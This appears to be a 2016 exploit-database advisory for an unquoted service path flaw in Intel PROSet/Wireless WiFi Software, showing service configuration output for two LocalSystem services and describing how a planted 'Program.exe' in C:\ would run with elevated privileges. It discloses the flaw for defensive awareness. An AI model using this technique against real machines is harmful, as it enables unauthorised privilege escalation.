Intel(R) PROSet/Wireless WiFi Software 15.01.1000.0927 - Unquoted Service Path Privilege Escalation

2016-10-19 23:05:12

# Exploit Title: Intel(R) PROSet/Wireless WiFi Software - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 15.01.1000.0927
# Tested on: Windows 7 Professional

The Intel(R) PROSet/Wireless WiFi Software installs 2 services with unquoted service paths.
This enables a local privilege escalation vulnerability.
To exploit this vulnerability, a local attacker can insert an executable file in the path of either service.
Rebooting the system or restarting either service will run the malicious executable with elevated privileges.

This was tested on version 15.01.1000.0927, but other versions may be affected as well.


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C:\>sc qc EvtEng

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: EvtEng

TYPE : 10 WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 1 NORMAL

BINARY_PATH_NAME : C:\Program Files\Intel\WiFi\bin\EvtEng.exe

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : Intel(R) PROSet/Wireless Event Log

DEPENDENCIES :

SERVICE_START_NAME : LocalSystem


C:\>sc qc RegSrvc

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RegSrvc

TYPE : 10 WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 1 NORMAL

BINARY_PATH_NAME : C:\Program Files\Common Files\Intel\WirelessCommon\RegSrvc.exe

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : Intel(R) PROSet/Wireless Registry Service

DEPENDENCIES : RPCSS

SERVICE_START_NAME : LocalSystem

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EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.

Fixes

No fixes

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